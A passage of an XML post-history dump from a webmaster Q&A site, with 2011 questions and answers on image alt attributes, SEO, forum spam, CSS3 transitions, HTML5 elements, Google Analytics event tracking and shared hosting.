&#xD;&#xA;&gt;&#xD;&#xA;&gt; The alt attribute must be specified for the IMG and AREA elements&#xD;&#xA;&#xD;&#xA;It's also required in [HTML5][4] and [XHTML flavors][5].&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/WCAG10-HTML-TECHS/#image-text-equivalent&#xD;&#xA;  [2]: http://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv.html&#xD;&#xA;  [3]: http://www.w3.org/TR/html401/struct/objects.html#adef-alt&#xD;&#xA;  [4]: http://dev.w3.org/html5/spec-author-view/embedded-content-1.html#alt&#xD;&#xA;  [5]: http://www.w3.org/TR/xhtml1/Overview.html#dtds" />
  <row Id="15861" PostHistoryTypeId="2" PostId="7493" RevisionGUID="ce62f960-0e46-4b54-9c72-046ce861ed37" CreationDate="2011-01-05T13:46:21.580" UserDisplayName="xaoax" Text="The alt tag is used for people who are handicapped in some way that makes it hard / impossible to see text.&#xD;&#xA;&#xD;&#xA;Although the alt tag is not meant for search engines it may very well boost your SEO, since it is the proper way to code it. &#xD;&#xA;" />
  <row Id="15862" PostHistoryTypeId="2" PostId="7494" RevisionGUID="8cce15d1-8440-4201-bcae-54a66ef2d9f4" CreationDate="2011-01-05T13:46:31.483" UserDisplayName="Floern" Text="1. the alt-attribute is for screenreaders. (alt = alternative) &lt;br&gt;&#xD;&#xA;2. search engines take some keywords out of it for the image search" />
  <row Id="15863" PostHistoryTypeId="2" PostId="7488" RevisionGUID="b8f961f1-8a75-49d9-8d93-35a5636dda6f" CreationDate="2011-01-05T13:38:37.020" UserId="2312" Text="I am trying to make it easier for search engines to crawl my website, as it is almost 100% dynamic.&#xD;&#xA;&#xD;&#xA;I have a couple of transparent images which are actually links to sections of my page.&#xD;&#xA;&#xD;&#xA;I wonder, if I add an &quot;alt&quot; attribute containing space characters to explain the target, will this improve SE rankings etc?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;blabla.png&quot; alt=&quot;post new classified&quot;&gt;&#xD;&#xA;&#xD;&#xA;Or will this just result in errors?&#xD;&#xA;&#xD;&#xA;Ànd, what should I put in the alt attribute if I can't use space?&#xD;&#xA;&#xD;&#xA;PS: Another different and short question, will javascript-rich content make a page less important to crawlers?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="15864" PostHistoryTypeId="1" PostId="7488" RevisionGUID="b8f961f1-8a75-49d9-8d93-35a5636dda6f" CreationDate="2011-01-05T13:38:37.020" UserId="2312" Text="Space in img:s &quot;ALT&quot; attribute good/bad for search engines?" />
  <row Id="15865" PostHistoryTypeId="3" PostId="7488" RevisionGUID="b8f961f1-8a75-49d9-8d93-35a5636dda6f" CreationDate="2011-01-05T13:38:37.020" UserId="2312" Text="&lt;javascript&gt;&lt;html&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="15866" PostHistoryTypeId="17" PostId="7488" RevisionGUID="a66e5405-e6bf-48ca-9e58-41e5f601ff9b" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines" Text="" />
  <row Id="15867" PostHistoryTypeId="2" PostId="7495" RevisionGUID="8939477d-116b-43f4-8f4e-ac9dcc66e53a" CreationDate="2011-01-08T14:43:07.787" UserId="2293" Text="The best sample you can extract for ALT attribute is here:&#xD;&#xA;&#xD;&#xA;http://dev.w3.org/html5/spec-author-view/embedded-content-1.html#alt-10&#xD;&#xA;&#xD;&#xA;Make a favor, open you webpage with Lynx, W3M, or Links. Then disable image loading on Firefox/Chrome/Opera and see your page too. You will notice how alt works and will have a better idea on how handle with.&#xD;&#xA;&#xD;&#xA;Crawlers and Image crawlers take alt as a textual representation of images, figures, buttons, and so on. Just treat them as a piece of text embed into your context, make them useful and users will thank you - as well as search engines." />
  <row Id="15868" PostHistoryTypeId="5" PostId="7495" RevisionGUID="db2db4ec-89df-49b7-8166-d22937a3aa5e" CreationDate="2011-01-08T14:50:43.257" UserId="2293" Comment="added 691 characters in body" Text="The best sample you can extract for ALT attribute is here:&#xD;&#xA;&#xD;&#xA;http://dev.w3.org/html5/spec-author-view/embedded-content-1.html#alt-10&#xD;&#xA;&#xD;&#xA;Make a favor, open you webpage with Lynx, W3M, or Links. Then disable image loading on Firefox/Chrome/Opera and see your page too. You will notice how alt works and will have a better idea on how handle with.&#xD;&#xA;&#xD;&#xA;Crawlers and Image crawlers take alt as a textual representation of images, figures, buttons, and so on. Just treat them as a piece of text embed into your context, make them useful and users will thank you - as well as search engines.&#xD;&#xA;&#xD;&#xA;**That said, let's go specifically to your question:**&#xD;&#xA;&#xD;&#xA;Check here:&#xD;&#xA;&#xD;&#xA;http://dev.w3.org/html5/spec-author-view/embedded-content-1.html#alt-9&#xD;&#xA;&#xD;&#xA;As you can see, there is no problem using alt with spaces. Just write alt as you would write the anchor text and everything should be fine.&#xD;&#xA;&#xD;&#xA;Going further, remember you also have the title attirbute, which is not directly SEO related, but counts with keyword density and is the proper way for giving users tooltips, which is good for accessibility and usability.&#xD;&#xA;&#xD;&#xA;About javascript, install noscript addon on Firefox and access you site, and/or use a text browser. That's the shortest way to check how your page and measures get crawled." />
  <row Id="15869" PostHistoryTypeId="17" PostId="7497" RevisionGUID="f75b3465-db9a-4cee-b274-9a8b832a7da4" CreationDate="2011-01-08T15:13:07.697" UserId="-1" Comment="from http://stackoverflow.com/questions/4617096/is-there-a-search-engine-that-indexes-source-code-of-a-web-page/4617127#4617127" Text="" />
  <row Id="15870" PostHistoryTypeId="2" PostId="7497" RevisionGUID="8ee80182-e116-48dd-ab66-1e77235c2181" CreationDate="2011-01-06T16:26:03.553" UserId="4423" Text="You can only crawl the &quot;output&quot; of that code. when the comment is in the output - you will see it.&#xD;&#xA;&#xD;&#xA;If I use a very bad code or good code to generate some html tags, you will not see it, you will only see the generated page. otherwise- there will be no secrets in the world (code can contain passwords, and other staff that you don't want anyone to see - so web server should never let you or any other crawler to see it).&#xD;&#xA;&#xD;&#xA;**** EDIT ****&#xD;&#xA;you can get the &quot;source&quot; of an HTML page with any &quot;HTTPREQUEST&quot; API - in any language (maybe by other names), and you can parse the results your self. you need to make 1 call to Google- to get the &quot;first 10 pages&quot; - parse it for the urls' and then generate a call to each one of them, getting the page as &quot;source code&quot; and do what ever you need to do&#xD;&#xA;" />
  <row Id="15871" PostHistoryTypeId="2" PostId="7496" RevisionGUID="18c97e60-9128-4d7e-81c7-ce789964b120" CreationDate="2011-01-06T16:22:18.373" UserDisplayName="Dexter" Text="I need to search the web for sites that are in our industry that use the same Adwords management company, to ensure that the said company is not violating our contract, as they have been accused of doing.&#xD;&#xA;&#xD;&#xA;They use a tracking code in the template of every page which has a certain domain in the URL, and I'm wondering if it's possible &quot;Google&quot; the source code using some bot that crawls the code rather than the content?&#xD;&#xA;&#xD;&#xA;For example, I bought an unlimited license for an image gallery, and I was asked to type the license number in a comment just before the script.  I thought it was just so a human could look at the source and find out if someone paid, but it turned out that it was actually that they had a crawler looking for their source code and that comment.  If it ran across the code on your site, it would look for the comment, and if it found one, it would check to see if it was an existing one.  If not, it would first notify you of your noncompliance, and then notify the owner of the script.&#xD;&#xA;&#xD;&#xA;**Edit:** I'm looking to index HTML and JavaScript only, not the server-side languages or Java." />
  <row Id="15872" PostHistoryTypeId="1" PostId="7496" RevisionGUID="18c97e60-9128-4d7e-81c7-ce789964b120" CreationDate="2011-01-06T16:22:18.373" UserDisplayName="Dexter" Text="Is there a search engine that indexes source code of a web-page?" />
  <row Id="15873" PostHistoryTypeId="3" PostId="7496" RevisionGUID="18c97e60-9128-4d7e-81c7-ce789964b120" CreationDate="2011-01-06T16:22:18.373" UserDisplayName="Dexter" Text="&lt;search-engines&gt;&lt;web-crawlers&gt;" />
  <row Id="15874" PostHistoryTypeId="17" PostId="7496" RevisionGUID="57ec637b-1267-4267-98e4-ad1f3c659d51" CreationDate="2011-01-08T15:13:07.697" UserId="-1" Comment="from http://stackoverflow.com/questions/4617096/is-there-a-search-engine-that-indexes-source-code-of-a-web-page" Text="" />
  <row Id="15878" PostHistoryTypeId="6" PostId="7487" RevisionGUID="110d4e70-a443-4456-9f94-cc4a171a2bdc" CreationDate="2011-01-08T15:46:49.313" UserId="1253" Comment="Removed &quot;sitelinks&quot; tag as this question is not about that" Text="&lt;google&gt;&lt;links&gt;" />
  <row Id="15882" PostHistoryTypeId="2" PostId="7498" RevisionGUID="e0a30ac8-401f-4cd0-a1ef-9cebf25b7425" CreationDate="2011-01-08T16:39:37.383" UserDisplayName="Javid" Text="I'm using vBulletin 4.0.8 and I'm receiving spams every day. I used reCaptcha method to avoid spamming but the problem still persists. What should I do?" />
  <row Id="15883" PostHistoryTypeId="1" PostId="7498" RevisionGUID="e0a30ac8-401f-4cd0-a1ef-9cebf25b7425" CreationDate="2011-01-08T16:39:37.383" UserDisplayName="Javid" Text="Getting spams :( What am I gonna do?" />
  <row Id="15884" PostHistoryTypeId="3" PostId="7498" RevisionGUID="e0a30ac8-401f-4cd0-a1ef-9cebf25b7425" CreationDate="2011-01-08T16:39:37.383" UserDisplayName="Javid" Text="&lt;vbulletin&gt;" />
  <row Id="15885" PostHistoryTypeId="17" PostId="7498" RevisionGUID="8b1ddd3a-e397-4ade-bada-fba012ae2be0" CreationDate="2011-01-08T16:42:46.240" UserId="-1" Comment="from http://stackoverflow.com/questions/4634906/getting-spams-what-am-i-gonna-do" Text="" />
  <row Id="15886" PostHistoryTypeId="2" PostId="7499" RevisionGUID="92b0d84e-8d48-493a-a1df-820e7bc78f9f" CreationDate="2011-01-08T16:48:36.120" UserId="4465" Text="You can use Akismet and also you can read [this][1] post.&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.digitalpoint.com/showthread.php?t=1003722" />
  <row Id="15890" PostHistoryTypeId="2" PostId="7501" RevisionGUID="2aaec04c-9aaa-484d-b27a-a002c25ac5eb" CreationDate="2011-01-08T19:30:54.493" UserId="304" Text="You could define the transition on the `:hover` event, which causes the browser to render only the effect into the hover and not out of it.&#xD;&#xA;&#xD;&#xA;    a:hover {&#xD;&#xA;      transition...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Using scale as an example, an image being scaled up would scale up on hover, but go straight back down without any transition when the cursor leaves the image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or, you can set the transition on the element directly:&#xD;&#xA;&#xD;&#xA;    a {&#xD;&#xA;      transition...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Which by definition means any change that effects the scale of the element such as any developer set styles will work, but also the user zooming in and out the page, will cause there to be a transition.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;All the tutorials being spewed onto the internet at the moment point to using the latter, but wouldn't one consider this a usability flaw for anyone wanting to resize the page or taking any other action that may cause similar scenarios?&#xD;&#xA;&#xD;&#xA;Pages with large amounts of transitional hover scaling can go pretty mental if you zoom in and out of them." />
  <row Id="15891" PostHistoryTypeId="1" PostId="7501" RevisionGUID="2aaec04c-9aaa-484d-b27a-a002c25ac5eb" CreationDate="2011-01-08T19:30:54.493" UserId="304" Text="Is there a way to specify a CSS3 transition to occur only on :hover and when returning from hover, not on every event?" />
  <row Id="15892" PostHistoryTypeId="3" PostId="7501" RevisionGUID="2aaec04c-9aaa-484d-b27a-a002c25ac5eb" CreationDate="2011-01-08T19:30:54.493" UserId="304" Text="&lt;css3&gt;" />
  <row Id="15893" PostHistoryTypeId="10" PostId="7501" RevisionGUID="ae5dab17-f1c3-4655-afaf-cb2d9d099e32" CreationDate="2011-01-08T19:46:38.230" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="15894" PostHistoryTypeId="2" PostId="7502" RevisionGUID="6c5e0dbf-4c58-4cc7-8d91-f1d9389b6cea" CreationDate="2011-01-08T20:39:40.857" UserId="4410" Text="Keep in mind that everything about Google's algorithm is nothing more than informed speculation since the company keeps it a secret.&#xD;&#xA;&#xD;&#xA;You may have changed how the site is structured and thus changed how the links point to your site. A link to www.example.com is not the same as a link to example.com unless you go through the extra steps of redirecting one of them. Same thing for a link that points to example.com/directory/page.htm when the redesigned page is now at example.com/new-directory/page.htm or what have you.&#xD;&#xA;&#xD;&#xA;If you did change the URLs of any of the pages, be sure to redirect them using a 301 permanent redirect and Google will EVENTUALLY move most of the link credit to the new home. That process is not instantaneous, however, so even if you already did that, it might take a while to show up.&#xD;&#xA;&#xD;&#xA;Although it wouldn't necessarily impact the incoming links, Google does re-evaluate the rank and authority of any page that changes significantly. It isn't hard to see why. A spammer could write a great, useful page about life insurance and then as soon as it ranks well change it to a ad-filled landing page. It is possible (although this is an UNINFORMED guess) that Google drops the links temporarily as part of this re-evaluation.&#xD;&#xA;&#xD;&#xA;Google should sort it out eventually, but it might take a while, which isn't good new for most webmasters. It's a shame really, because it penalizes those who try and improve their websites and keep them up to date. Next time, try updating your site in sections. That way, you'll keep some of your historic value while the updated parts of the site are recovering their value. Then, when those have recovered, you can update another part." />
  <row Id="15895" PostHistoryTypeId="2" PostId="7503" RevisionGUID="59d61d4c-bf96-4dac-8d83-8eb6d9ce1d84" CreationDate="2011-01-08T20:46:37.290" UserId="4410" Text="It is not necessary, but many WordPress themes and plug-ins still use it. &#xD;&#xA;&#xD;&#xA;If you don't use any of those, then you don't have to have/install/use TimThumb. If you do, then you are likely to have issues without it because most of those themes and plug-ins are overriding the default functionality deliberately, or are not passing along images in a way that WordPress' default thumbnail feature knows about it." />
  <row Id="15897" PostHistoryTypeId="2" PostId="7504" RevisionGUID="afedeed0-0364-4820-a8c9-dca5a14f97e7" CreationDate="2011-01-08T23:50:52.053" UserId="4469" Text="Idea can't be a subject of a patent. To protect it with a patent, you need to have at least a prototype of a product which this idea is supposed to be at the end.&#xD;&#xA;&#xD;&#xA;You should comprehend that idea itself worth nothing and isn't material. Because tommorow my brain can generate the exact idea that you have today. And no one can protect you from another's mind.&#xD;&#xA;&#xD;&#xA;There is another side of this question. Everybody in the world got an idea. And before someone will want to steal stranger's idea, he need to be told why this particular stranger's idea is better than his own one. He need to know why he should work with your idea and not with his own one. And mostly one chooses to work with his own ideas, since he understands them more correctly just because he generated them himself.&#xD;&#xA;&#xD;&#xA;And it's highly unlikely that a developer you want to hire will tell you that he don't want to work with you, then take your idea and make a product from it. Because if he's a really good developer, he got dozens of ideas himself.&#xD;&#xA;&#xD;&#xA;Moreover, development process is very complicated thing that is consisted of many decisions that developers, managers and stakeholder constantly making. Everyone can take your idea, but no one is able to make the same decisions you make. Thus, no one can make the same product you want to make." />
  <row Id="15901" PostHistoryTypeId="2" PostId="7506" RevisionGUID="6f3f4efc-16d0-45f2-bfa8-af5cfc729eb3" CreationDate="2011-01-09T00:50:31.647" UserId="4468" Text="I want to make a menu with a list with hidden links and when the user points the menu with he mouse the links will appear, my problem is that the bots may think this as a deceiving tactic and lower my page's rank.&#xD;&#xA;&#xD;&#xA;How can stop bots from seeing this links? I found the rel=&quot;nofollow&quot; attribute but i don't know if it working with all bots!" />
  <row Id="15902" PostHistoryTypeId="1" PostId="7506" RevisionGUID="6f3f4efc-16d0-45f2-bfa8-af5cfc729eb3" CreationDate="2011-01-09T00:50:31.647" UserId="4468" Text="Menu hidden links and bots!" />
  <row Id="15903" PostHistoryTypeId="3" PostId="7506" RevisionGUID="6f3f4efc-16d0-45f2-bfa8-af5cfc729eb3" CreationDate="2011-01-09T00:50:31.647" UserId="4468" Text="&lt;seo&gt;&lt;links&gt;&lt;robots&gt;&lt;menu&gt;" />
  <row Id="15904" PostHistoryTypeId="2" PostId="7507" RevisionGUID="f4c576c0-5a1c-4537-b7d3-c7b93d25efae" CreationDate="2011-01-09T02:32:43.300" UserId="4473" Text="I'm looking at setting-up a walled-in website for a real-life community of people, and I was wondering if anyone has any experience with managing member accounts for this kind of thing.&#xD;&#xA;&#xD;&#xA;Some conditions that must be met:&#xD;&#xA;&#xD;&#xA;- This community has a set list of real-life members, each of whom would be eligible for one account on the website.&#xD;&#xA;- We don't expect or require that they all sign-up. It is purely opt-in, but we anticipate that many of them would be interested in the services we are setting up.&#xD;&#xA;- Some of the community members emails are known, but some of them have fallen off the grid over the years, so ideally there would be a way for them to get back in touch with us through the public-facing side of the site. (And we'd want to manually verify the identity of anyone who does so).&#xD;&#xA;- Their names are known, and for similar projects in the past we have assigned usernames derived from their real-life names. This time, however, we are open to other approaches, such as letting them specify their own username or getting rid of usernames entirely.&#xD;&#xA;&#xD;&#xA;The specific web technology we will use (e.g. Drupal, Joomla, etc) is not really our concern right now -- I am more interested in how this can be approached in the abstract. &#xD;&#xA;&#xD;&#xA;Our database already includes the full member roster, so we can email many of them generated links to a page where they can create an account. (And internally we can require that these accounts be paired with a known member). Should we have them specify their own usernames, or are we fine letting them use their registered email address to log-in? Are there any paradigms for walled-in community portals that help address security issues if, for example, one of their email accounts is compromised?&#xD;&#xA;&#xD;&#xA;We don't anticipate attempted break-ins being much of a threat, because nothing about this community is high-profile, but we do want to address security concerns. In addition, we want to make the sign-up process as painless for the members as possible, especially given the fact that we can't just make sign-ups open to anyone.&#xD;&#xA;&#xD;&#xA;I'm interested to hear your thoughts and suggestions! Thanks!" />
  <row Id="15905" PostHistoryTypeId="1" PostId="7507" RevisionGUID="f4c576c0-5a1c-4537-b7d3-c7b93d25efae" CreationDate="2011-01-09T02:32:43.300" UserId="4473" Text="Managing accounts on a private website for a real-life community" />
  <row Id="15906" PostHistoryTypeId="3" PostId="7507" RevisionGUID="f4c576c0-5a1c-4537-b7d3-c7b93d25efae" CreationDate="2011-01-09T02:32:43.300" UserId="4473" Text="&lt;login&gt;&lt;community-management&gt;" />
  <row Id="15907" PostHistoryTypeId="2" PostId="7508" RevisionGUID="6ca98a5f-5e38-4150-b883-1d6044527951" CreationDate="2011-01-09T03:29:58.233" UserId="4474" Text="I think this is a simple show-hide javascript example. If he user has the capability os make the links to show up, then it would not be classifyed as an attempt to fool the engines. That's nothong wrong with that. About nofollow, take a Look at Matt's blog: http://www.google.com.br/search?q=matt+cutts+nofollow" />
  <row Id="15910" PostHistoryTypeId="2" PostId="7510" RevisionGUID="b0b6ef9a-93ab-49cf-9df5-e467412a5a71" CreationDate="2011-01-09T03:36:20.350" UserId="4474" Text="Matt Cutts has an interesting video up (one of many) on the Google Webmaster Central YouTube channel that deals with switching to a new content management system and how that can affect search engine rankings: http://www.youtube.com/watch?v=OoJAcUEasBU&amp;feature=player_embedded" />
  <row Id="15914" PostHistoryTypeId="2" PostId="7514" RevisionGUID="f36b79a6-32cc-47b1-83c9-560be5590ddb" CreationDate="2011-01-09T05:32:47.020" UserDisplayName="gala" Text="I have the same experience with my hosting right now.... and other thing is they also have a very poor communication it takes a lot of time for them to answer ticket and always offline! And the bad thing i ever encounter is there security is very very low... their USA server was Hacked by Team crimes Linux! Damn Damn Damn.... track my hosting and you will know why you should not put your website on their hosting!   " />
  <row Id="15915" PostHistoryTypeId="2" PostId="7515" RevisionGUID="8588b75b-827b-4c4b-86b3-37ce99ba6367" CreationDate="2011-01-09T05:46:07.090" UserId="1363" Text="I read about `&lt;section&gt;` and `&lt;aside&gt;` on the WC3 site a whole ago, but I can't remember if an `&lt;aside&gt;` should be placed inside a `&lt;section&gt;` or directly beneath it. Does anybody know?&#xD;&#xA;&#xD;&#xA;E.g. Should it be like this?:&#xD;&#xA;&#xD;&#xA;    &lt;section&gt;...&lt;/section&gt;&#xD;&#xA;&#xD;&#xA;Or like this:&#xD;&#xA;&#xD;&#xA;    &lt;section&gt;...&lt;aside&gt;...&lt;/aside&gt;...&lt;/section&gt;&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15916" PostHistoryTypeId="1" PostId="7515" RevisionGUID="8588b75b-827b-4c4b-86b3-37ce99ba6367" CreationDate="2011-01-09T05:46:07.090" UserId="1363" Text="Section/Aside (HTML5)" />
  <row Id="15917" PostHistoryTypeId="3" PostId="7515" RevisionGUID="8588b75b-827b-4c4b-86b3-37ce99ba6367" CreationDate="2011-01-09T05:46:07.090" UserId="1363" Text="&lt;html&gt;&lt;html5&gt;&lt;section&gt;" />
  <row Id="15918" PostHistoryTypeId="2" PostId="7516" RevisionGUID="28906d55-5acc-4901-b12a-99db8700bccf" CreationDate="2011-01-09T05:48:35.003" UserId="4477" Text="See the link below for information about licensing Apple's logo for your software:&#xD;&#xA;&#xD;&#xA;http://developer.apple.com/softwarelicensing/&#xD;&#xA;&#xD;&#xA;Apple's logo licences are **typically free** and require little more than **faxing or posting a signed legal document**. Apple provide guidelines about where and how each logo or image can be used; be sure to follow these guidelines.&#xD;&#xA;&#xD;&#xA;For your software that can run on a Mac, you will want to license the Mac logo.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/softwarelicensing/" />
  <row Id="15919" PostHistoryTypeId="2" PostId="7517" RevisionGUID="a30cbc0f-5d02-4ef0-bf0c-c7d90a36c491" CreationDate="2011-01-09T06:16:47.670" UserId="1253" Text="Don't nofollow those links. That would hurt your site, not help it. Hiding links the way you have described is perfectly fine. The only time hiding something is bad is when you are only hiding it to manipulate the search engines. This is called cloaking. You are not cloaking. So literally don't worry about it at all." />
  <row Id="15924" PostHistoryTypeId="5" PostId="7405" RevisionGUID="9e1c1299-e327-493f-9f41-feda35ab974e" CreationDate="2011-01-09T08:40:24.730" UserId="3610" Comment="added 34 characters in body" Text="I have organised my site by language using the following structure:&#xD;&#xA;&#xD;&#xA;    www.domain.com    #spanish language version homepage&#xD;&#xA;    www.domain.com/en #english language version homepage&#xD;&#xA;&#xD;&#xA;The site is of Spanish subject matter hence Spanish language takes priority at root of domain. Although the site is new at this stage I would hope searching for the domain from google.com and google.es would return English and Spanish versions respectively.&#xD;&#xA;&#xD;&#xA;Are there any particular steps I need take to separate the two. Should I add them both as individual sites in Google's webmaster tools and also should I submit individual site maps for each 'site' or as a whole? &#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="15925" PostHistoryTypeId="2" PostId="7518" RevisionGUID="75db24c0-b1c2-4c12-a017-21f34e9a87b3" CreationDate="2011-01-09T09:23:43.243" UserId="2087" Text="I'm looking to convert a site from Flash based video to HTML5, the current video uses time marks to display slides (kind of like how youtube has ads on their videos). But the difference between Youtube and my site is that it doesn't show up inside the video, the slides are displayed next to the video.&#xD;&#xA;&#xD;&#xA;Is there any way I can accomplish this with HTML5? Or do I have to use Javascript for this?&#xD;&#xA;&#xD;&#xA;*If this isn't clear enough, please let me know.*" />
  <row Id="15926" PostHistoryTypeId="1" PostId="7518" RevisionGUID="75db24c0-b1c2-4c12-a017-21f34e9a87b3" CreationDate="2011-01-09T09:23:43.243" UserId="2087" Text="Has anyone been able to convert a site's media content from flash to html5?" />
  <row Id="15927" PostHistoryTypeId="3" PostId="7518" RevisionGUID="75db24c0-b1c2-4c12-a017-21f34e9a87b3" CreationDate="2011-01-09T09:23:43.243" UserId="2087" Text="&lt;javascript&gt;&lt;html5&gt;&lt;flash&gt;" />
  <row Id="15928" PostHistoryTypeId="2" PostId="7519" RevisionGUID="4094f9e8-a57a-48fb-8659-040cb34c1f0b" CreationDate="2011-01-09T09:53:41.697" UserId="3903" Text="I have a windows reseller account that I only really use for personal use. The host company doesn't currently offer a 1 click backup.  I am looking for something to automate some kind of backup that does the following:&#xD;&#xA;&#xD;&#xA; - Backups all files&#xD;&#xA; - Backups all databases&#xD;&#xA;&#xD;&#xA;I know other companies offering such a tool but I am not looking.  I have thought about writing a tool that does this but thought there might be something out there that does this already? " />
  <row Id="15929" PostHistoryTypeId="1" PostId="7519" RevisionGUID="4094f9e8-a57a-48fb-8659-040cb34c1f0b" CreationDate="2011-01-09T09:53:41.697" UserId="3903" Text="1 click backup for my websites" />
  <row Id="15930" PostHistoryTypeId="3" PostId="7519" RevisionGUID="4094f9e8-a57a-48fb-8659-040cb34c1f0b" CreationDate="2011-01-09T09:53:41.697" UserId="3903" Text="&lt;backups&gt;" />
  <row Id="15931" PostHistoryTypeId="2" PostId="7520" RevisionGUID="d072486d-918f-46b5-823d-768e0bf86043" CreationDate="2011-01-09T10:16:59.130" UserId="3175" Text="Is there anyway I can use Google Analytics to track click conversions on a link?&#xD;&#xA;&#xD;&#xA;For example, if I have a link to `www.a.com` , is it possible for google to track the number of times that particular link was shown on my page and then track how many times it was really clicked? **The problem is** that I do not show the link to www.a.com every time the page loads. I am using a random function (server side) to generate a different link everytime. I would like Google Analytics to provide me with the click conversion for each of the links I choose to show the user.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="15932" PostHistoryTypeId="1" PostId="7520" RevisionGUID="d072486d-918f-46b5-823d-768e0bf86043" CreationDate="2011-01-09T10:16:59.130" UserId="3175" Text="Tracking click conversions with Google Analytics" />
  <row Id="15933" PostHistoryTypeId="3" PostId="7520" RevisionGUID="d072486d-918f-46b5-823d-768e0bf86043" CreationDate="2011-01-09T10:16:59.130" UserId="3175" Text="&lt;google-analytics&gt;&lt;click-tracking&gt;" />
  <row Id="15935" PostHistoryTypeId="2" PostId="7522" RevisionGUID="31220cb4-f16c-4c98-9701-c34f7cb08c7a" CreationDate="2011-01-09T11:10:12.570" UserId="908" Text="[This page](http://www.aloha-editor.com/demos/3col/) shows an example of [the Aloha editor](http://www.aloha-editor.com/) working with CSS3 columns (and [this demo](http://www.aloha-editor.com/demos/css3/) is just plain nuts!). Very nice! I didn't see any way to create the columns through the editor, though that shouldn't be too difficult to add. There's already [a thread for Drupal integration](http://drupal.org/node/861392) as well. The editor also has a repository API which sounds very cool. It's at version 0.9.3, and I noticed the image plugin was still a work in progress, so I'm not sure it's ready for live use yet (I'm also interested in its compatibility). But very very interesting!" />
  <row Id="15938" PostHistoryTypeId="2" PostId="7524" RevisionGUID="87a408f8-8eb7-49ab-9cf9-31e9ccdf2b07" CreationDate="2011-01-09T12:27:55.867" UserId="1064" Text="Yes, you can track just about anything using Google Analytics' Event Tracking - here's how you might do it for the two cases of (a) showing a link and (b) a user clicking the link:&#xD;&#xA;&#xD;&#xA;(a) Track showing the link&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;        _gaq.push(['_trackEvent', 'Links', 'Shown', 'http://www.a.com/']);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;(b) Track user clicking the link&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.a.com/&quot; onclick=&quot;javascript:_gaq.push(['_trackEvent', 'Links', 'Clicked', 'http://www.a.com/']); return true;&quot;&gt;...&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Of course, given that you probably *don't* want to hard-code for both of these Javascript events, you can use a handy Javascript function to do all the work for you when links have a specific class - I like to use [jQuery][1], so here's a quick example:&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    /*&#xD;&#xA;      ... assuming jQuery has been loaded and you're using the&#xD;&#xA;          standard Google Analytics Asynchronous tracking snippet&#xD;&#xA;    &#xD;&#xA;          URL: http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html&#xD;&#xA;    */&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;        $('a.tracked').each(function() {&#xD;&#xA;            _gaq.push(['_trackEvent', 'Links', 'Shown', $(this).value('href')]);&#xD;&#xA;            $(this).click(function() {&#xD;&#xA;                _gaq.push(['_trackEvent', 'Links', 'Clicked', $(this).value('href')]);&#xD;&#xA;            });&#xD;&#xA;        });&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/" />
  <row Id="15939" PostHistoryTypeId="2" PostId="7525" RevisionGUID="8917961e-45aa-41b8-8c75-784d8df9caa9" CreationDate="2011-01-09T12:28:47.153" UserDisplayName="JP19" Text="Can you please mention here if you know any shared hosting providers who give option to get a dedicated IP?  So far I know of one - Netfirms. Please list others if you know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;1) If mods feel enough people might be interested in this, we can make it community wiki.&#xD;&#xA;&#xD;&#xA;2) The reason why someone would want shared hosting with dedicated IP is:&#xD;&#xA;&#xD;&#xA;  i) In most shared hosting plans, you end up getting better CPU/burst RAM than a VPS provided you don't abuse.&#xD;&#xA;&#xD;&#xA;  ii) Dedicated IP is good for SEO. For example, many times, you may get up getting an IP where some p*** sites are also hosted in shared hosting.&#xD;&#xA;  " />
  <row Id="15940" PostHistoryTypeId="1" PostId="7525" RevisionGUID="8917961e-45aa-41b8-8c75-784d8df9caa9" CreationDate="2011-01-09T12:28:47.153" UserDisplayName="JP19" Text="Shared hosting with  dedicated IP" />
  <row Id="15941" PostHistoryTypeId="3" PostId="7525" RevisionGUID="8917961e-45aa-41b8-8c75-784d8df9caa9" CreationDate="2011-01-09T12:28:47.153" UserDisplayName="JP19" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;ip-address&gt;&lt;dedicated-hosting&gt;" />
